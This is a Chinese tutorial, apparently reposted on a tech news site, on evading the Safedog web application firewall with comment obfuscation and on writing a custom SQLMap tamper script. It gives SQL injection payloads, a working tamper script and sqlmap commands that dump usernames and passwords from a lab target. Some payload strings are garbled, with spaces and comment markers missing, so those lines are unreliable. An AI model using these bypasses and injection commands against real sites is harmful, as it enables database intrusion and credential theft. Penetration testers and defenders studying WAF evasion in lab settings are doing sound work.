iis服务器助手广告
返回顶部
首页 > 资讯 > 数据库 >教你编写SQLMap的Tamper脚本过狗
  • 770
分享到

教你编写SQLMap的Tamper脚本过狗

SQLMap的Tamper脚本SQLMap过狗脚本SQLMap Tamper 2023-02-24 10:02:28 770人浏览 八月长安
摘要

目录测试环境最新版某狗测试方法bypassandorder byuNIOn select加个换行试试获取表字段编写tamper测试环境 最新版某狗 测试方法 安全狗其实是比较好绕的WAF,绕过方

测试环境

最新版某狗

教你编写SQLMap的Tamper脚本过狗

教你编写SQLMap的Tamper脚本过狗

教你编写SQLMap的Tamper脚本过狗

测试方法

安全狗其实是比较好绕的WAF,绕过方法很多,但这里我们就用一种:注释混淆

一招鲜吃遍天

注释混淆,其实就是在敏感位置添加垃圾字符注释,常用的垃圾字符有/、!、*、%

这里再解释一下内联注释,因为后面要用到:

Mysql内联注释: !后面的语句会当作sql语句直接执行

但是如果!后面跟着mysql版本号,那么就会出现两种情况

!后面接的数据库版本号小于自身版本号,就会将注释中的内容执行当!后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+iOS

数据库版本号以五位数字表示,比如当前环境下数据库版本号表示为:50553

教你编写SQLMap的Tamper脚本过狗

!后面接小于50553的:

教你编写SQLMap的Tamper脚本过狗

执行了select 1;

!后面接大于等于50553的:

教你编写SQLMap的Tamper脚本过狗

执行了 select ;

下面进入正题

bypass

and

and 1=1

教你编写SQLMap的Tamper脚本过狗

但是把空格删掉就不拦了

教你编写SQLMap的Tamper脚本过狗

所以,我们认为,and后面不能直接跟空格…

那么如果用其他形式表示空格呢?

前面说了,我们这次只使用注释混淆:

burp,抓包设置

教你编写SQLMap的Tamper脚本过狗

教你编写SQLMap的Tamper脚本过狗

长度5335是被拦截的

教你编写SQLMap的Tamper脚本过狗

长度为899的说明成功绕过

教你编写SQLMap的Tamper脚本过狗

我们选择其中一个作为空格的替代者就好了,这里我们选择*%**/

同理 ,or是一样的:

教你编写SQLMap的Tamper脚本过狗

order by

教你编写SQLMap的Tamper脚本过狗

测试发现还是只要替换order by中间的空格就可以了,所以绕过方法和前面一样:

教你编写SQLMap的Tamper脚本过狗

union select

教你编写SQLMap的Tamper脚本过狗

union select使用之前的垃圾字符替换空格发现不行了:

教你编写SQLMap的Tamper脚本过狗

但是先不急于换方法,再爆破一遍试试:

教你编写SQLMap的Tamper脚本过狗

教你编写SQLMap的Tamper脚本过狗

发现又有很多可以绕过的了。

所以我们再更改一下替换空格的垃圾字符, 这里选

即: ->

教你编写SQLMap的Tamper脚本过狗

获得当前数据库

正常语句:

?id=-1 union select 1,database(),3 --+

教你编写SQLMap的Tamper脚本过狗

绕过:

教你编写SQLMap的Tamper脚本过狗

即:()->()

获取数据库中的表

正常语句:

?id=-1 union select 1,group_concat(table_name),3 from infORMation_schema.tables where table_schema='security' --+

教你编写SQLMap的Tamper脚本过狗

绕过:

经过测试发现拦截的是select + from + information_schema的组合

教你编写SQLMap的Tamper脚本过狗

教你编写SQLMap的Tamper脚本过狗

中间加垃圾字符替换空格已经不管用了,我们尝试对关键字进行混淆。

information_schema进行混淆测试:

首先使用内联注释,发现,这里的版本号不管写啥,都直接被拦。

教你编写SQLMap的Tamper脚本过狗

考虑是检测了select + from + #--+

但是经过测试只有 --+好用

教你编写SQLMap的Tamper脚本过狗

有这么多可以绕过的,我们随便选择一个,比如!%!!%!!%!!%!!%!%20where%20table_schema=database()--%20+

教你编写SQLMap的Tamper脚本过狗

教你编写SQLMap的Tamper脚本过狗

获取表字段

正常语句:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

绕过语句:

?id=-1unionselect1,group_concat(column_name),3from%20where%20table_name=0x7573657273--%20+

教你编写SQLMap的Tamper脚本过狗

获取字段信息

?id=-1unionselect1,group_concat(username,0x2f,passWord),3fromusers

教你编写SQLMap的Tamper脚本过狗

成功。

编写tamper

当我们下载了SQLMap,解压后,我们可以找到文件夹【tamper】,该文件夹有很多个Tamper脚本帮助我们绕过一些安全防护:

教你编写SQLMap的Tamper脚本过狗

网上有很多相关脚本的介绍,我就不一一介绍了。

虽然SQLMap提供了这么多的Tamper脚本,但是在实际使用的过程中,网站的安全防护并没有那么简单,可能过滤了许多敏感的字符以及相关的函数。这个时候就需要我们针对目标的防护体系构建相应的Tamper脚本。

Tamper相当于一个加工车间,它会把我们的Payload进行加工之后发往目标网站。

我们随便打开一个Tamper脚本看一下它的结构:

#apostrophemask.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (Http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
from lib.core.enums import PRIORITY
# 定义脚本优先级
__priority__ = PRIORITY.LOWEST

# 对当前脚本的介绍
def dependencies():
    pass

'''
对传进来的payload进行修改并返回
函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。
'''
def tamper(payload, **kwargs):
    """
    Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)

    References:
        * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
        * https://WEB.arcHive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
        * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.PHP?13,11562,11850
        * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps

    >>> tamper("1 AND '1'='1")
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
    """

    return payload.replace('\'', "%EF%BC%87") if payload else payload

可见Tamper脚本的结构非常简单,其实渗透测试中的主要难点还是如何去绕过WAF。

下面我们针对bypass部分的绕过方法进行编写Tamper脚本,来实现自动化SQL注入:

实际测试的时候发现,sqlmap默认语句中的AS关键字也会被拦截,这里也用同样的方法替换一下就好

#!/usr/bin/env Python

import re

from lib.core.settings import UNICODE_ENcoding
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    if payload:
        payload = payload.replace(" ","")
        payload = payload.replace("()","()")
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"",payload)
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"",payload)
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"",payload)
        payload = re.sub(r"(?i)(/AS/)",r"//",payload)        

    return payload

测试:

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent

教你编写SQLMap的Tamper脚本过狗

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables

教你编写SQLMap的Tamper脚本过狗

python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns

教你编写SQLMap的Tamper脚本过狗

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3

教你编写SQLMap的Tamper脚本过狗

到此这篇关于教你编写SQLMap的Tamper脚本过狗的文章就介绍到这了,更多相关SQLMap的Tamper脚本内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

您可能感兴趣的文档:

--结束END--

本文标题: 教你编写SQLMap的Tamper脚本过狗

本文链接: https://www.lsjlt.com/news/197380.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 教你编写SQLMap的Tamper脚本过狗
    目录测试环境最新版某狗测试方法bypassandorder byunion select加个换行试试获取表字段编写tamper测试环境 最新版某狗 测试方法 安全狗其实是比较好绕的WAF,绕过方...
    99+
    2023-02-24
    SQLMap的Tamper脚本 SQLMap过狗脚本 SQLMap Tamper
  • 如何编写SQLMap的Tamper脚本
    本篇内容介绍了“如何编写SQLMap的Tamper脚本”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!测试环境最新版某狗测试方法安全狗其实是比...
    99+
    2023-07-05
  • 教你编写Pipeline脚本的方法
    目录前言调试 grok 和 pipelineGrok 通配搜索多行如何处理Pipeline 字段命名注意事项完整 Pipeline 示例如何在一个 Pipeline 中切割多种不同格...
    99+
    2022-11-13
    Pipeline 脚本 编写 Pipeline 脚本
  • 教你编写bat脚本Windows批处理
    目录常见用途bat命令速查常用参数echo注释Rem使用::声明dir :获取目录内容> :将输出重定向到文件变量命令行参数set命令字符串数值局部变量 vs 全局变量环境变量...
    99+
    2024-04-02
  • 教你用python编写脚本实现自动签到
    目录1. 背景原因2. 签到原理3. 需要的环境selenium4. 安装模拟的插件5. 下载完成6.正题7. 完工!8. 更新1. 背景原因 最近才上班,要求每天打卡!我老是忘记,...
    99+
    2024-04-02
  • 教你编写Windows的VBScript与Mac的AppleSCript脚本解放双手
    目录一、Windows 篇 —— VBScript1、效果图2、VBS 简介3、代码实现4、代码详解5、其他语法6、附:VBS 特殊字符表格二、Mac 篇 &...
    99+
    2024-04-02
  • Shell脚本编程入门编写教程
    这篇文章主要讲解了“Shell脚本编程入门编写教程”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Shell脚本编程入门编写教程”吧!例子一:绘制特殊图形代码如下:#!/bin/bash&nb...
    99+
    2023-06-09
  • 编写健壮的Bash脚本的方法教程
    这篇文章主要讲解了“编写健壮的Bash脚本的方法教程”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“编写健壮的Bash脚本的方法教程”吧!shell脚本在运行异常时会受到非常大的影响。本文介绍...
    99+
    2023-06-09
  • 编写Python自动化脚本的方法教程
    这篇文章主要介绍“编写Python自动化脚本的方法教程”,在日常操作中,相信很多人在编写Python自动化脚本的方法教程问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”编写Python自动化脚本的方法教程”的疑...
    99+
    2023-06-16
  • 教你用JAVA写文本编辑器(三)
    大家好,接下来的部分可能有点乱,但是并不复杂,我希望我能尽量给大家捋清楚思路。 老套路,这是我的前两篇系列,需要的同学了解一下: JAVA写文本编辑器(二) JAVA写文本...
    99+
    2024-04-02
  • 教你用JAVA写文本编辑器(二)
    目录这是编辑器第一章 JAVA写文本编辑器(一) ,需要的同学了解一下。 这一章我们来处理一下JMenuBar里的item的事件响应,首先从最简单的item关于开始。 为什么说这个简...
    99+
    2024-04-02
  • 教你用JAVA写文本编辑器(四)
    其实写到这里,我已经差不多断气了。。。 常规套路,这里是前三篇的传送门,需要的同学可以看一下:JAVA写文本编辑器(三) JAVA写文本编辑器(二)JAVA写文本编辑器(一) 现在我...
    99+
    2024-04-02
  • 教你用JAVA写文本编辑器(一)
    目录前言思路分析:具体实现总结前言 这里用swing ,awt写的。 我们大概要做成一个电脑的记事本那样的一个编辑器。可以调整字体,字号,颜色。能够打开、保存文件,新建窗口,点击退出...
    99+
    2024-04-02
  • Python在Linux上编写的教程,你学过了吗?
    Python是一种高级编程语言,它被广泛应用于各种领域,如Web开发、数据分析、人工智能等。在Linux上,Python也是一种非常流行的编程语言,它可以帮助开发者更轻松地编写高效的代码。本篇文章将介绍如何在Linux上使用Python编...
    99+
    2023-11-15
    linux 教程 windows
  • python编写脚本之pyautogui的安装和使用教程
    目录前言鼠标鼠标移动鼠标点击 鼠标滚动屏幕处理 键盘输入提示信息 提示框 选择框输入密码输入普通内容总结前言 以下是我对python中编写脚本最重要的库之一pyautogui的学习整...
    99+
    2024-04-02
  • Python抢购脚本的编写方法
    想买mate40,但总是抢不到,所以想试着能不能写个脚本代码。 第一步:把想要抢购的商品加进购物车,注意:脚本是对购物车内全部商品进行下单操作,所以不够买的商品最好先从购物车内删除。...
    99+
    2024-04-02
  • 编写自己的python3安装脚本
    python在Linux集群运维时需要统一python版本,简单的编写python安装脚本,以便统一安装,需要机器有安装包源环境(网络源/本地源)python源码包(下载到本地或在线),源码包国内推荐sohu python源包。此脚本无任何...
    99+
    2023-01-31
    自己的 脚本
  • 教你用Python寻找重复文件并删除的脚本写法
    在实际生活中,经常会有文件重复的困扰,即同一个文件可能既在A目录中,又在B目录中,更可恶的是,即便是同一个文件,文件名可能还不一样。在文件较少的情况下,该类情况还比较容易处理,最不济...
    99+
    2024-04-02
  • ChatGPT帮我自动编写Python爬虫脚本的详细过程
    目录1、爬取知乎上的专栏文章2. 爬取京东某商品的评论3.继续更多的测试都知道最近ChatGPT聊天机器人爆火,我也想方设法注册了账号,据说后面要收费了。 ChatGPT是一种基于大...
    99+
    2023-02-16
    ChatGPT自动编写 Python 爬虫脚本 ChatGPT编写 Python 爬虫
  • shell脚本编写的步骤是什么
    编写shell脚本的步骤如下:1. 定义脚本的目的和功能:确定脚本要解决的问题或实现的功能。2. 编写脚本的头部:在脚本的第一行添加...
    99+
    2023-09-22
    shell
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作